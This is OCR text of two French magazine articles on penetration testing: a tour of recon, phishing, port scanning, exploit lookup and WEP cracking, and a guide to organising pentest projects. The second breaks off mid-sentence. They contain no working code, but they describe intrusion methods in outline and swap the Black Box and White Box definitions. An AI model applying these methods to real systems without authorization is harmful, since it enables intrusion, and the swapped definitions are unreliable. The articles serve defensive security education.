50,2% des attaques avaient pour objectif d’exploiter les ressources informatiques d’entreprises victimes ciblées au hasard : stockage, puissance de calcul, réseau sont ensuite utilisés ou revendus pour d’autres activités criminelles ou illicites. De plus, depuis l’avènement de la loi Hadopi, les petites entreprises sont également devenues des cibles pour du stockage de film en masse ou l’utilisation abusive de connexion sans fil. A l’heure actuelle, la sécurité informatique concerne réellement tout le monde même si les tests de pénétration système étant assez chers, sont principalement destinées aux entreprises disposant d’un parc informatique et/ou de données sensibles.
Qu’est ce qui peut être testé durant un test de pénétration système ? Des statistiques nous ont montré qu’une attaque à l’aveugle sur un système distant est dans 99% des cas totalement inefficace. Il est absolument nécessaire d’entamer une collecte d’informations sur le système visé, dans le but d’élargir ses possibilités d’attaques et de s’offrir ainsi plus de flexibilité sur le choix des méthodes d’attaque. La stratégie est aussi importante que la manœuvre ellemême. La règle des 5P constitue le squelette type de toutes les attaques informatiques distantes. Le premier P correspond à Probe qui peut se traduire par enquêter. Savoir mener des recherches efficaces sur Internet est la clé de la réussite. Personne n’a la science infuse,
Figure 1 : Utilisation de Nmap 3/2010 HAKIN9
pentest.indd 13
13
2010-03-10, 15:52:54
DOSSIER mais le rassemblement des masses de données sur un seul et même réseau permet à n’importe qui d’avoir accès à n’importe quel savoir. Il existe de nombreux moyens de se renseigner sur la cible selon son type et selon les informations que nous désirons récupérer. Des techniques particulières de recherches sur Internet comme le Google Hacking ont vu le jour avec l’importance qu’ont pris les moteurs de recherche. Le Google hacking est une technique consistant à utiliser un moteur de recherche, généralement Google, en vue de chercher des vulnérabilités ou de récupérer des données sensibles. Cette technique s'appuie sur les résultats de l'exploration et de l'indexation des sites internet par le robot Googlebot. Il existe également de nombreuses autres techniques que Google pour trouver des informations sur le système cible comme interroger les bases Whois, par exemple. Le service Whois permet d'effectuer des recherches sur les bases de données des noms de domaine. La récupération des adresses email sur la toile permet également de lancer des attaques de type phishing afin d’accroitre nos privilèges ultérieurs.
Connaître la situation géographique, les informations générales d'une société ou son fournisseur d'accès à Internet sont peut-être des choses banales, mais pourtant à ne pas négliger. Enfin, il est possible de récupérer des informations sur les serveurs DNS de l’entreprise grâce aux outils nslookup et dig. En effet, les enregistrements DNS fournissent souvent de nombreuses informations utiles. Concernant les applications web, il existe également le site : http://www.archive.org/ web/web.php. Ce site référence d’anciennes versions des sites internet. Il est possible, en travaillant sur d’anciennes versions, de trouver des failles de sécurité qui n’auraient pas été corrigées mais simplement dissimulées. L’explosion des réseaux sociaux permet également de récupérer des informations beaucoup plus facilement que par le passé. Leur force ne doit pas être négligée. La récupération d’information à partir d’internet est un élément clé puisqu'il permet de récupérer de nombreuses informations sur le système cible et cela, sans avoir à dévoiler son identité. En effet, ce genre de récupération d’information est dite passive car le système cible n’a aucune possibilité de savoir qu’une attaque se prépare.
Le social engineering Le social engineering est une forme d'escroquerie principalement utilisée en informatique pour obtenir un bien ou une information. Cette pratique exploite l'aspect humain et social de la structure à laquelle est lié le système informatique visé. Utilisant ses connaissances, son charisme, l'imposture ou le culot, le pirate abuse de la confiance, l'ignorance ou la crédulité de personnes possédant ce qu'il tente d'obtenir. Il est également possible de réaliser du social engineering explicite sur le plan informatique. Ainsi, l’attaquant envoie des mails aux employés de l’entreprise en tentant de les piéger. En se faisant passer pour le service informatique ou une personne de confiance pour que le subterfuge fonctionne, l’attaquant joue alors sur la crédulité et la naïveté des employés. Ce genre de technique est bien souvent oublié alors que le facteur humain dans une entreprise est sans aucun doute l’élément le plus faillible. Une excellente technique pour mettre en place du social engineering fondé sur l’informatique est décrite à l’adresse suivante : http://www.offensives ecur i t y. com /metas ploi t- unleas hed / Social-Engineering-Toolkit
Recherche d’information active
Figure 2 : Utilisation d’Autoscan
Après avoir vu la recherche d’information passive par les moteurs de recherche et internet dans sa généralité, nous allons passer à des méthodes dites actives. A l’inverse des méthodes dites passives, ces nouvelles méthodes laissent des traces sur le réseau cible permettant de remonter jusqu’à l’adresse IP de l’attaquant grâce aux fichiers de log etc. Néanmoins, cette étape est indispensable car elle permet de révéler un nombre important d’informations sur le système cible. Commencer par lancer un balayage de port grâce au célèbre Nmap sur le ou les serveur(s) de l’entreprise permet de détecter les ports ouverts sur la machine. Cette prise d’empreinte révèle les services tournant sur la machine cible et donne donc les différents points d’entrée possible (voir Figure 1).
14 HAKIN9 3/2010
pentest.indd 14
2010-03-10, 15:53:02
TEST DE PÉNÉTRATION SYSTÈME
Un scan des ports sur une machine distante montre les ports ouverts, ce qui peut aiguiller nos attaques. En effet, une attaque sur un port protégé sera nettement plus difficile. Dans notre exemple, nous pouvons voir que le port 79 est ouvert, ce qui peut être une très bonne chose pour toute collecte d’information. En effet, le port 79 est un utilitaire Internet qui permet à quelqu'un d'obtenir des informations sur vous, y compris votre nom complet, votre login et autres informations de profilage. De plus, le port 80 est également ouvert nous renseignant qu’un site internet est très probablement en cours de fonctionnement dessus. Cela ne nous donne pas d’information sur le site en luimême mais nous permet d’élargir notre champ de vision et donc, d’augmenter la superficie de l’attaque. NOTE : Il est important de se rappeler que plus le nombre d’entrées dans un réseau informatique est important, plus cela laisse de possibilités à l’attaquant. En outre, cela augmente également le travail de l’administrateur qui doit défendre tous les points simultanément. A l’intérieur-même du réseau, l’outil Autoscan (voir Figure 2) lance une série de scan pour trouver toutes les machines et tout matériel (routeur, pare-feu...) connectés. Ses principales caractéristiques sont la reconnaissance des systèmes d'exploitation de ses hôtes et une série d'informations intéressantes (ports ouverts, nom de la machine, détection de ressources partagées,...). Il est à présent possible de connaître toute la structure du réseau allant des machines hôtes aux Access Point Wifi en passant par les routeurs.
version d’Apache ou le type de serveur FTP tournant sur la machine cible, il est nécessaire d’aller faire un tour sur le site http://www.exploit-db.com/ reprenant l’ancien site très connu qu’était Milw0rm, pour vérifier l'existence connue d'une faille dans cette version. Dans le cas où le logiciel/service est vulnérable, il est facilement possible de trouver l’exploit accélérant ainsi grandement votre exploitation. Dans l’éventualité où nous découvrons sur l’une des machines-cible un serveur Apache muni du module Tomcat dans sa version 1.2.19, il est possible d’y exécuter un Buffer Overflow à distance. http:// www.exploit-db.com/exploits/6100 Cela permet d'accéder à une machine rapidement et sans laisser de nombreuses traces dans les fichiers de log. Des outils tels que Nessus, FastTrack, Saint, CoreImpact ou encore OpenVAS détectent les vulnérabilités sur un systèmecible distant. Ils signalent les faiblesses potentielles ou avérées sur les machinescible en incluant les services vulnérables à des attaques permettant la prise de contrôle de la machine, l'accès à des informations sensibles, les fautes de configuration, les patchs de sécurité non appliqués, les mots de passe par défaut, quelques mots de passe communs et l'absence de mots de passe sur certains comptes-système etc.
Ces logiciels détectent rapidement une vulnérabilité dans un système-cible mais ils restent énormément bruyants et ont tendance à affoler un peu les fichiers de log. Le logiciel Metasploit est également un logiciel en vogue actuellement car il devient de plus en plus simple à utiliser et est de plus en plus documenté, notamment grâce à ce lien : http://www.offensivesecurity.com/metasploit-unleashed/ Le logiciel Metasploit permet, quant à lui, d’exploiter des vulnérabilités découvertes grâce aux logiciels précédemment cités.
Les applications web De nombreuses possibilités s'offrent à vous si le système dispose d'un serveur web sur le même réseau. Le service web est l'un des plus exploités des Hackers et débutants. Ainsi, il est primordial d'avoir une bonne sécurité. D'autant plus que la sécurité d'un site web est beaucoup plus mise en péril en raison du grand nombre d'attaquants qui préféreront ce type d'attaque à la recherche d'autres failles dans le système. La plupart, pour ne pas dire la totalité des failles présentes sur le web sont dues à une mauvaise programmation du service proposé. De multiples vulnérabilités sont connues à ce jour, telles que les injections SQL, les failles CSRF, etc.
Utilisation des informations Utilisons maintenant ce maximum d’informations maintenant récupérées grâce à internet et aux scans de ports. Cependant, ce n’est toujours pas le moment d’attaquer directement le serveur à l'aide d'outils automatisés. Nous allons plutôt préparer une attaque un peu plus intelligente en ne révélant que peu notre présence. Après avoir récupéré des informations via Nmap comme, par exemple, la
Figure 3 : Wapiti détecte des failles XSS 3/2010 HAKIN9
pentest.indd 15
15
2010-03-10, 15:53:10
DOSSIER
Figure 4 : Utilisation de la suite aircrack-ng Outre le fait que l'attaquant peut parfaitement élever ses droits sur le site, il lui est également possible selon les failles, d'élever ses droits sur le système complet, pouvant ainsi le corrompre aisément. Il doit pour cela avoir une maîtrise parfaite du protocole de communication mis à disposition, en l'occurrence, HTTP pour un site web.
L'attaquant présumé teste alors tout le site : URL, formulaires et variables principalement (requêtes GET, POST), en-têtes, etc. Aujourd’hui, les applications web évoluent sans cesse, tant en nombre qu’en importance. En effet, nous pouvons maintenant trouver des sites de paiement en ligne, des banques et de nombreuses autres applications disposant de très
nombreuses données confidentielles. La main-mise sur ce genre de données s’avérerait excessivement grave. En règle générale, les failles de sécurité dans les applications web se trouvent dans les points d’entrée laissés à l’utilisateur, comme des formulaires par exemple. Les vulnérabilités se recherchent par scan manuels ou à l'aide d'outils automatisés. Des outils propriétaires tels qu’AppScan et Acunetix ou des outils libres tels que Wapiti et Nikto réalisent ce travail.
Les réseaux sans fil La démocratisation des appareils Wifi (Wireless Fidelity) a grandement simplifié le déploiement des petits réseaux professionnels et domestiques. Grâce à cette technologie disposant d'un support de plus en plus intégré dans les divers
Tableau 1. Tableau des sociétés offrant des services sur Audit de sécurité société
adresse web
sur le marché depuis tests de pénétration
audit de sécurité
Free Security
www.freesec.com
2002
NON
OUI
High Tech Bridge
http://fr.htbridge.ch/
2007
OUI
OUI
HSC
www.hsc.fr
1989
OUI
OUI
Intrinsec
www.intrinsec.com
1995
NON
OUI
Itrust
www.itrust.fr
2006
OUI
OUI
JA-PSI
www.ja-psi.fr
2007
OUI
OUI
Kleverware
http://www.kleverware.com/
2005
NON
OUI
NBS System
www.nbs-system.com/
1999
NON
OUI
No-Sec
www.no-sec.com
2005
OUI
OUI
Novatiom
http://www.novatim.com/
NON
OUI
Oppida
http://www.oppida.fr
2005
NON
OUI
SecWay
www.secway.fr
2000
OUI
OUI
SCRT
www.scrt.ch
2002
OUI
OUI
Secur-toile
www.securi-toile.com
2008
OUI
OUI
Sogeti
http://esec.fr.sogeti.com/
OUI
OUI
Sysdream
www.sysdream.com
OUI
OUI
TOONUX
http://www.toonux.com/
OUI
OUI
Wargan
www.wargan.com
OUI
OUI
Xmco Partners
www.xmcopartners.com/
OUI
OUI
2004
2002
16 HAKIN9 3/2010
pentest.indd 16
2010-03-10, 15:53:17
équipements, de nombreux appareils informatiques (ordinateurs, consoles, PDA, etc.) s'interconnectent sans avoir à réaliser le moindre perçage ni passer le moindre câble. Poussés par cette relative simplicité d'installation ainsi que par des prix très abordables, les réseaux sans fil ont rencontré leur succès actuel. Ce succès du sans fil entraine la vulgarisation des attaques contre ces réseaux conduisant ainsi à parler d’une nouvelle génération de hackers appelés WHacker pour Wireless Hacker. La suite Aircrack-ng n’est plus à présenter en raison de son engouement et sa facilité d’utilisation à faire parler d’elle (voir Figure 4). En effet, il est facile de cracker des protections de types WEP en moins d’une minute et les protections WPA et WPA2 commencent à être mises à mal. Même si cette technologie est plus apparentée aux téléphones mobiles, les réseaux sans fil comportent également les réseaux Bluetooth. Leur expansion commence à être importante.
Conclusion Un test de pénétration système est un test à réaliser régulièrement, permettant d’avoir une estimation sur la sécurité de votre système d’information. En règle générale, une société externe prendra en charge cette tâche car les employés-même de l’entreprise travailleraient avec une connaissance de l’entreprise, ce qui n’est pas adapté à un test vraiment impartial. Cet article donne les pistes à suivre pour le commencement d’un test d’intrusion mais ne peut être un guide pour l’ensemble des pentest. En effet, les pentest différent de par les enjeux des données à protéger, les services qu’il est possible de trouver sur les machines cibles etc. N’hésitez pas à régulièrement faire valider la sécurité de votre système informatique par des audits de sécurité ainsi que des tests de pénétration système.
Auteur Régis SENET est étudiant en cinquième année à l’école Supérieur d’informatique Supinfo. Passionné par les tests d’intrusion et les vulnérabilités web, il tente de découvrir la sécurité informatique d’un point de vue entreprise. Il s'oriente actuellement vers les certifications Offensive Security et CEH. Contact : [email protected] Site internet : http://www.regis-senet.fr
12_17___pentest.indd 17
2010-03-10, 16:00:11
DOSSIER SEBASTIAN STROIK
Test de pénétration Organisation du projet
Degré de difficulté
Puisque presque tous les numéros de notre magazine décrivent les méthodes d'analyse de vulnérabilité, d'identification des attaques, d'utilisation des fragments de code pour des activités destructrices, le présent article se concentrera sur la bonne organisation du projet, à savoir des tests de pénétration. Nous décrirons les meilleures pratiques relatives à la gestion de projets de tests de pénétration
D
urant les dernières années, le nombre de systèmes et de services informatiques utilisés dans les entreprises a considérablement augmenté. Parallèlement à l'augmentation des systèmes, la quantité d'informations traitées s'est également agrandie. Comme nous le savons tous, l'information est une des activités les plus précieuses dont les entreprises disposent. Pour cette raison, il est important qu'elle soit protégée convenablement. Tout le monde attend des systèmes informatiques qu'ils répondent aux exigences relatives à la confidentialité, à l'intégrité et à la disponibilité des informations qui y sont traitées. Voici les définitions des termes susmentionnées selon la norme ISO/IEC 13335-1:2004 : •
CET ARTICLE EXPLIQUE... Comment mener en pratique un projet de tests de pénétration dans votre entreprise,
•
comment définir correctement l'objectif et l'étendue du projet, à quoi faut-il faire attention, quelles méthodologies utiliser, ce qu'un rapport de tests de pénétration doit contenir.
CE QU'IL FAUT SAVOIR... Vous devez avoir des notions de base sur la sécurité.
•
disponibilité – propriété de ce qui est accessible et utilisable à la demande par une entité autorisée, confidentialité – se dit d'une information qui n'est pas rendue disponible ni révélée à des personnes, des entités ou des processus non autorisés, intégrité – la propriété de conserver et d'assurer l'exactitude et la complétude d'une information.
En pratique, répondre aux exigences ci-dessus signifie mettre en place des protections techniques et organisationnelles appropriées dans les solutions conçues.
Voici des exemples de protection (technique) permettant d'augmenter le niveau de sécurité : • •
•
•
•
•
•
•
possibilité de travailler avec un système central d'identification d'informations, possibilité de contrôler les modifications dans l'utilisation des systèmes d'exploitation, des applications et d'autres types de logiciel, possibilité de travailler avec le système central d'aide à la gestion et à la collecte d'informations relatives aux incidents concernant la sécurité du système informatique, possibilité de gérer de manière centralisée et à distance des dispositifs de contrôle de transmission et d'accès, des modifications ACL et autres (par exemple, en séparant le segment VLAN dédié pour ce type de dispositifs), possibilité de diviser le réseau d'institutions physiquement/logiquement (par exemple, segments VLAN), possibilité de créer des copies de sauvegardes d'informations ; ces copies sont gérées et réalisées de manière centrale, possibilité de se protéger de manière centrale et distribuée (avec une gestion centrale) contre les logiciels malveillants comme : virus informatiques, vers de réseau, chevaux de Troie, bombes logiques, etc., possibilité de surveiller de manière centrale les journaux des opérateurs/des événe-
18 HAKIN9 3/2010
18__22____test_penetr.indd 18
2010-03-10, 16:02:58
TESTS DE PÉNÉTRATION
•
•
•
•
•
ments des éléments choisis d'un réseau dans l'entreprise (par exemple, évalués comme critiques et importants lors d'analyse de risques), de suivre l'accès au système et de l'utiliser (par exemple, accessibilité des ressources réseau), possibilité de synchroniser les horloges de tous ou partie des éléments d'un réseau dans l'entreprise, possibilité aux dispositifs ou aux éléments choisis d'un réseau de services (d'après l'analyse de réseau) de travailler en mode appelé failover. possibilité d'utiliser des protections cryptographiques par rapport aux informations stockées, envoyées ou aux lecteurs d'informations (par exemple, utilisation de VPN ou autres solutions fondées sur PKI), possibilité de travailler avec le système central de gestion d'accès des utilisateurs possibilité de contrôler à distance des connexions réseau, de forcer les voies de connexion et l'identification d'un ordinateur, d'un terminal ou d'un autre périphérique réseau.
Les protections organisationnelles sont mises en place dans tous les endroits où il est impossible d'implémenter les protections techniques appropriées. Afin de vérifier si les exigences relatives à la sécurité définies dans l'entreprise ont été correctement mises en place, il faut effectuer des audits de sécurité. Il est important qu'ils soient réalisés régulièrement. Chaque audit doit être suivi d'une rédaction d'un rapport. Ce rapport décrit les irrégularités observées et il propose des actions de prévention et de correction à effectuer lors de contrôles suivants. Pour vérifier si les actions de prévention et de correction ont été correctement réalisées lors de l'audit de vérification, il faut mettre en place des mesures permettant de définir le niveau de sécurité des systèmes analysés. N'oubliez pas que ce processus doit être suivi continuellement. Il est impossible d'éliminer les risques à 100 %. Nous ne pouvons que réduire la possibilité du risque. Pour s'assurer du niveau de sécu-
Exemple de projet effectué pour un client X de la branche utilities Objectif du projet : Vérification du niveau de la sécurité des systèmes de traitement des données personnelles
Étendue/Étapes du projet : (tableau 1)
Description de la réalisation du projet : Le projet X se concentre sur la vérification du niveau de la sécurité des systèmes de traitement des données personnelles du client. Le projet a été lancé suite à la mise en place de nouvelles protections techniques dans la zone IT. Le projet a été divisé en deux étapes : • •
analyser la vulnérabilité aux attaques des systèmes directement depuis Internet, analyser la sécurité des systèmes de traitement des données personnelles.
L'objectif de l'étape 1 consiste à détecter toutes les vulnérabilités possibles permettant à compromettre les serveurs qui se trouvent dans la zone DMZ. Le rapport de l'étape 1 présente les vulnérabilités détectées et définit les possibilités de les utiliser par un attaquant et recommande par la suite les protections indispensables pour supprimer les risques détectés. L'objectif de l'étape 2 consiste à vérifier si la sécurité des systèmes est conforme aux principes de sécurité définis et en vigueur dans l'entreprise. Le rapport de l'étape 2 présente les irrégularités trouvées et recommande les manières de les supprimer.
Conclusion : Dans le projet décrit, le client a décidé de ne pas effectuer des tests de pénétration stricts. Il s'est concentré sur la question de vulnérabilité et d'élimination des menaces trouvées. De plus, une analyse de sécurité des systèmes interne a été réalisée. L'objectif défini dans le projet a été atteint. L'étendue du projet est différente à chaque fois et dépend des besoins du client. Voici les raisons les plus fréquentes pour mettre en place des projets liés à la réalisation des tests de pénétration : • • • • •
mise en place de nouvelles protections techniques et organisationnelles, mise à jour les logiciels (versions de logiciels, actualisations), incident de sécurité, recommandation d'audits, etc.
Tableau 1. Etapes du projet N°
Étapes du projet
Délai de réalisation
1
Analyse de la vulnérabilité de l'extérieur
1 semaine depuis la Nessus, Nmap signature du contrat
2
Analyse de la sécurité des sys2 semaines depuis tèmes de traitement des données la signature du contrat personnelles
Analyse de la configuration, contrôle technique avec les administrateurs des systèmes
3
Rapport des étapes 1 et 2
ND
4 semaines depuis la signature du contrat
Outils
3/2010 HAKIN9
18__22____test_penetr.indd 19
19
2010-03-10, 16:03:06
DOSSIER rité, il faut continuellement suivre vos systèmes. Les tests de pénétration constituent un outil efficace permettant d'analyser le niveau de sécurité de l'entreprise. Ces tests, en plus des techniques d'analyse de vulnérabilité et de contrôle, constituent l'un des outils d'audit les plus fréquemment utilisés. Nous décrirons ci-dessous les meilleures pratiques relatives à la réalisation des tests de pénétration. Les tests de pénétration sont réalisés soit par une personne ou une équipe chargée de projet dans l'entreprise du client, soit par une société externe spécialisée dans les questions de ce type. Avant de procéder aux tests, il est nécessaire de signer une clause de confidentialité pour protéger les deux parties contre d'éventuelles conséquences de violation des conditions de travail. En démarrant un projet, il est nécessaire de définir en détails son objectif, son étendue et la méthodologie et de préciser l'étendue du rapport.
Les scénarios de tests de pénétration sont déterminés par tous. Toutes les actions à ef fectuer sont fixées avant de procéder aux tests, notamment définir en particulier les procédures de restitution des données, ef fectuer des copies de sauvegarde des données, déterminer la durée de tests et les manières de communication entre les administrateurs du département IT du client et l'équipe de test, définir en détails l'étendue du projet (manière d'ef fectuer les tests, types des tests réalisés, étendue de l'analyse – adresse IP, etc.)
• •
Scénario de test
Lors du choix de l'étendue des tests, il faut prendre en considération les systèmes de production. Il faut réfléchir s'il est nécessaire d'effectuer une attaque ou bien créer un environnement de test. Si nous optons pour un système de production, est-il suffisamment protégé en cas de panne. Est-ce qu'une copie de sauvegarde a été faite, est-ce que la tentative de restitution a été réussie ? Si le système est géré par une entreprise externe, avons-nous un niveau SLA suffisant pour restituer des services dans le délai prévu ?, etc.
Le scénario de test dépend bien évidemment du modèle de test accepté. Les noms populaires Black Box, White Box et Grey Box signifient tout simplement l'étendue des connaissances de l'auditeur lors des tests de pénétration. •
Objectif et étendue du projet Nous déterminons l'objectif du projet pour vérifier qu'il a été atteint une fois le projet terminé. Le test peut avoir pour but, entre autres, l'analyse de la conformité du système aux exigences définies soit par le client, soit par les organisations mondiales chargées de sécurité, par exemple, norme ISO/IEC 27001:2005. Un autre but serait l'analyse de la vulnérabilité ou de la tentative d'attaque pour accéder aux ressources. L'analyse de la vulnérabilité est liée le plus souvent aux tests automatiques. Elle nous permet de détecter des failles et des risques connus dans les systèmes analysés. Le projet se termine à cette étape. Les tests de pénétration complets constituent une réelle tentative d'attaque. À l'étape de collecte des informations, la vulnérabilité des systèmes est analysée et l'éventuelle utilisation malveillante de leurs failles est examinée. Comme dans tous les projets, des personnes responsables du projet sont désignées tant du côté du client que du côté de l'équipe de test.
•
•
Black Box – signifie que l'auditeur dispose de connaissances complètes sur les ressources du client. Ce type de tests s'effectue par exemple lors des tests des applications ou de l'analyse d'un système ou d'une application concrète, White Box – signifie qu'il ne dispose d'aucune connaissance sur les ressources. Les tests du type White Box sont liés le plus souvent à l'audit effectué à l'extérieur de l'organisation, Grey Box – signifie une tentative de simulation d'attaque de l'intérieur de l'organisation, par exemple, en utilisant les droits standard d'utilisateur.
Le scénario de test définit les étapes d'audit et leur franchissement. =Ppréalablement à la réalisation des tests, la procédure d'audit sera vérifiée et le scénario de test sera accepté par les deux parties. Le scénario des tests externes doit contenir : • •
analyse des ordinateurs et périphériques réseau, définition des types de tests à lancer (par exemple, analyse de la vulnérabilité DoS seulement pour les tests de l'extérieur),
classement de travaux, conditions de travail avec les administrateurs de systèmes.
Pendant les tests internes : •
• •
nous analysons les mises à jour des serveurs et des ordinateurs du point de vue, nous vérifions les périphériques réseau, nous effectuons les tentatives : d'interception d'informations, pour accéder et disposer des droits supérieurs dans le système informatique.
Méthodologie du projet Suivre de manière continue le niveau de sécurité des organisations des systèmes informatiques permet de l'analyser efficacement. Les tests de pénétration doivent s'effectuer périodiquement. Il est possible de réaliser des tests partiels, par exemple, d'analyser périodiquement la vulnérabilité du réseau, du Wi-Fi ou du bluetooth etc. Quelque soit la zone analysée, il faut définir les manières de réaliser les tests, autrement dit, il faut décider de la nécessité ou non de définir/ d'adapter la méthodologie de leur réalisation. Adapter une méthodologie appropriée est important pour plusieurs raisons. Premièrement, les tests seront effectués à un bon niveau. Nous serons certains que les tests seront réalisés selon la méthodologie choisie quelque soit le choix du fournisseur. Deuxièmement, elle permettra de comparer le test effectué au test précédent en ajoutant
20 HAKIN9 3/2010
18__22____test_penetr.indd 20
2010-03-10, 16:03:13
TESTS DE PÉNÉTRATION
des mesures appropriés. Standardiser la manière de réalisation des tests permet également de choisir les prestataires d'une manière plus souple. Nous ne dépendons plus de la même équipe ou entreprise spécialisée dans les tests de pénétration. Il est possible de créer notre propre méthodologie de réalisation des tests de pénétration ou d'utiliser l'une des méthodologies connues conçues par les organisations chargées de la sécurité notamment : ISACA, ISECOM, OWASP, NSA, CESG, NIST, WASC, etc. Voici quelques méthodologies choisies pour effectuer des audits des systèmes informatiques : •
•
•
•
Open Source Security Testing Methodology v 3.0 – méthodologie conçue par l'organisation ISECOM (Institute for Security and Open Methodologies), Nist 800-42, 800-115 – plan-type conçu par l'organisation NIST (National Institute of Standards and Technology), OWASP Testing Guide v3 – manuel du testeur de sécurité comprenant les meilleures pratiques relatives à la sécurité des applications Web, conçu dans le cadre du projet OWASP (Open Web Application Security Project), BSI Penetration Testing Model – méthodologie pour réaliser des tests proposée par BSI (Bundesamt fur Sicherheit in der Informationstechnik)
Les méthodologies susmentionnées, mise à part la définition détaillée des techniques de test, définissent également les principes de plan, de rapport et d'évaluation des résultats. Quelque soit la méthodologie adaptée, les tests techniques peuvent être divisés en deux étapes : reconnaissance et tentatives d'attaque. Nous décrirons les outils les plus fréquemment utilisés lors de ces étapes.
Outils L'étape de reconnaissance vise à collecter le plus d'informations possible qui permet-
tront d'effectuer des tentatives d'attaque. Cette étape commence le plus souvent par une collecte passive des informations. Nous utilisons ici des requêtes des ressources Internet disponibles, telles que noms de domaines, moteurs de recherche Internet, annuaires téléphoniques, groupes de discussion, profils sur les portails communautaires, etc. De plus, nous vérifions les informations contenues dans les enregistrements DNS. Ensuite, nous passons à la collecte active des informations. Cette étape consiste le plus souvent à scanner les ports et à utiliser des outils plus invasifs chargés d'analyser la vulnérabilité par exemple en employant l'énumération. Scanner les ports consiste à faire des tentatives de connexion sur les ports d'un ordinateur donné afin de lister les services actifs. L'énumération consiste en revanche à se connecter à un port précis et à faire une commande permettant d'obtenir des informations souhaitées. Les outils les plus fréquemment utilisés à cette étape sont Nmap, netcat,
amap, xprobe2, sinfp, nbtscan, netenum, fping. À part l'opération de scanne des ports à l'étape de reconnaissance, nous utilisons une série d'outils automatiques pour analyser la vulnérabilité. Les outils les plus connus et les plus souvent utilisés s'appellent Nessus, MaxPatrol et NGS Typhon. Ces programmes servent à analyser la sécurité du réseau du point de vue de la présence des failles ou des erreurs connues dans la configuration du logiciel. Les scanneurs se prêtent très bien à l'identification des ports et des services actifs. Les informations collectées à l'étape de reconnaissance relatives aux failles et aux menaces découvertes permettent d'effectuer une attaque. L'attaque consiste à préparer un programme approprié (un exploit) qui utilise la vulnérabilité détectée. Lancer les exploits vise à prendre le contrôle sur le système ou à bloquer son activité (attaque du type DoS). Il existe plusieurs outils qui lancent automatiquement les exploits mais il ne s'agit que d'outils auxiliaires.
Sur le Net Organisations chargées de sécurité • • • • • • •
ISACA – Information Systems Audits and Control Association – http://www.isaca.org/, ISECOM – Institute for Security and Open Methodologies – http://www.isecom.org/, OWASP – Open Web Application Security Project community – http://www.owasp.org/ index.php/Main_Page NSA – National Security Agency – http://www.nsa.gov/. CESG – http://www.cesg.gov.uk/ NIST – National Institute of Standards and Technology – http://csrc.nist.gov/, WASC – Web Application Security Consortium – http://www.webappsec.org/.
Quelques méthodologies pour effectuer des audits informatiques • • • •
Top 100 Network Security Tools – http://sectools.org/, BackTrack – http://www.remote-exploit.org/backtrack.html. Bases de vulnérabilité NVD – National Vulnerability Database – http://nvd.nist.gov/, CVE – Common Vulnerabilities and Exposures – http://cve.mitre.org/, CVSS – Common Vulnerability Scoring System – http://first.org/cvss/.
3/2010 HAKIN9
18__22____test_penetr.indd 21
21
2010-03-10, 16:03:20
DOSSIER Parmi les outils les plus populaires se trouvent notamment Metasploit, Canvas, Inguma, SQL Power Injector, Security Forest, Core Impact etc. Les connaissances et l'expérience de l'équipe de test sont les points les plus importants lors de la réalisation de cette étape de tests de pénétration. Lors de certains types d'attaque, les attaquants écrivent souvent leurs propres scripts ou fragments de code.
Rapport Le rapport de tests décrit les résultats des travaux liés à la réalisation du projet. Les informations présentes doivent répondre à la question : est-ce que l'objectif du projet a été atteint et dans quelle mesure ? Le format du rapport est défini à l'étape de définition de la méthodologie de projet avec le prestataire. Quelque soit la méthodologie adaptée, certains éléments du rapport sont fixes et comprennent : • • • •
objectif et étendue des tests, conclusion générale, analyse technique, conclusion technique et évaluation.
La partie relative à l'objectif et à l'étendue des tests définit les conditions et limites adoptées pour réaliser le projet. Cette partie décrit la procédure de réalisation des tests, les scénarios de test employés, le calendrier de travaux effectués et toute autre décision influençant l'étendue du projet. La conclusion générale est un résumé d'analyse technique rédigé pour la direction et décrivant le niveau de sécurité du système analysé. La partie concernant l'analyse technique doit contenir : l'étendue détaillée des tests, les types d'outils utilisés, les descriptions des menaces détectées et leur évaluation. La méthodologie adaptée doit proposer les mesures permettant d'évaluer réellement les menaces détectées. Nous pouvons également voir des rapports de tests de pénétration contenant une analyse technique des vulnérabilités détectées divisées selon les indicateurs de risque présents dans les bases de vulnérabilités disponibles (CVE). Nous prenons al-
ors une division en trois ou quatre degrés (critical, high, medium, low). Prendre seulement un seul indicateur pour évaluer les menaces trouvées est insuffisant. À part l'indicateur qui définit le degré de risque, il faut également prendre en compte la probabilité de son apparition par rapport à l'objet analysé. Nous pouvons pré-évaluer le niveau de sécurité des systèmes et des applications analysés d'après les mesures adaptées. Prendre des mesures fixes permet en plus de comparer les résultats de rapports. Il est impossible de définir si le système ou l'application en question ont été rendus plus performants sans répéter les tests. Si nous comparons les rapports, nous pouvons effectuer un certain nombre d'analyses. À titre d'exemple, nous pouvons analyser un nombre moyen de présence des indicateurs du risque du type high. Les analyses sont effectuées pour tous les systèmes et applications ou restreintes à un service au choix. La conclusion technique et l'évaluation sont souvent combinées à l'analyse technique. Les éléments contenus dans cette partie du rapport doivent fournir des informations permettant de vérifier et de supprimer les erreurs détectées.
Conclusion Les informations présentées dans notre article constituent une approche de la manière de réaliser ce type des tests dans une entreprise. Le choix du type, de l'étendue et de la méthodologie des tests appartient aux personnes responsables de la sécurité. Lors de ce choix, il faut réfléchir à la nécessité d'effectuer des tests de pénétration complets ou de se concentrer plutôt sur une analyse partielle des vulnérabilités. Le choix du type de test dépend aussi de l'objectif que nous nous sommes fixé. Si nous tenons donc à une analyse de protections, il est recommandé d'effectuer un audit de sécurité complet et donc d'opter pour l'approche du type Black Box et de considérer les tests comme un des éléments de l'audit. Il est alors possible de nous concentrer seulement sur l'analyse de vulnérabilités. Cette démarche réduit
la durée des tests et leur coût. L'analyse de vulnérabilités dure entre une et deux journées alors que les tests de pénétration prennent parfois jusqu'à plusieurs semaines. D'autre part, pour analyser l'efficacité du système de détection d'attaque mis en place (IDS/IPS), il faut opter pour une simulation de l'attaque et donc l'approche du type White Box. Hormis le choix du type et de l'étendue des tests, il faut également définir la fréquence de leur lancement. Les grandes entreprises prévoient souvent un calendrier d'audits où les tests de pénétration sont présents. Nous vous conseillons de penser à faire des tests directement après des événements déterminés, par exemple, suite à une modification dans la configuration ou à une mise à jour du logiciel ou à un ajout d'une nouvelle version de l'application. La fréquence d'audits doit prévoir leur lancement régulier. Il est impossible de savoir si le système a été rendu plus performant sans répéter les tests. La gestion de la sécurité doit être régulière. Les mesures adaptées dans la méthodologie doivent décrire les résultats dans le rapport et permettre de définir les priorités pour réaliser les recommandations consécutives à l'audit. En raison d'un nombre de systèmes et d'applications qui augmente sans cesse, les coûts pour les protéger deviennent également de plus en plus élevés. Les entreprises doivent souvent choisir quelle protection mettre en place et quelle menace 